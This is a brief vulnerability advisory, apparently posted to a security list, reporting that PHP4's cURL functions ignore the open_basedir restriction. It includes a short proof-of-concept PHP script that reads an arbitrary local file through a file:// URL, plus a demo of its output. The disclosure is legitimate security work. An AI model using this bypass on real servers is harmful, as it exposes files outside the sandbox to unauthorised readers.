====================================================
Subject: PHP4 cURL functions bypass open_basedir
Author: frame at kernelpanik.org
Product: PHP4 compile with cURL (not tested in PHP5)
Vendor: PHP/Zend
Vendor URL: www.php.net
Tipe: Local
Risk: Low/Medium
=====================================================
PHP cURL functions bypass open_basedir
protection, so users can navigate through
filesystem.
For example, setting "open_basedir" in php.ini to
"/var/www/html" anybody can retrieve "/etc/parla"
using cURL functions.
== Proof of concept (curl.php)
<?php
$ch = curl_init("file:///etc/parla");
$file=curl_exec($ch);
echo $file
?>
== Demo
$ cat /etc/parla
don't read please!
$ links -dump http://localhost/curltest/curl.php
don't read please!
== Release Timeline
No release timeline.
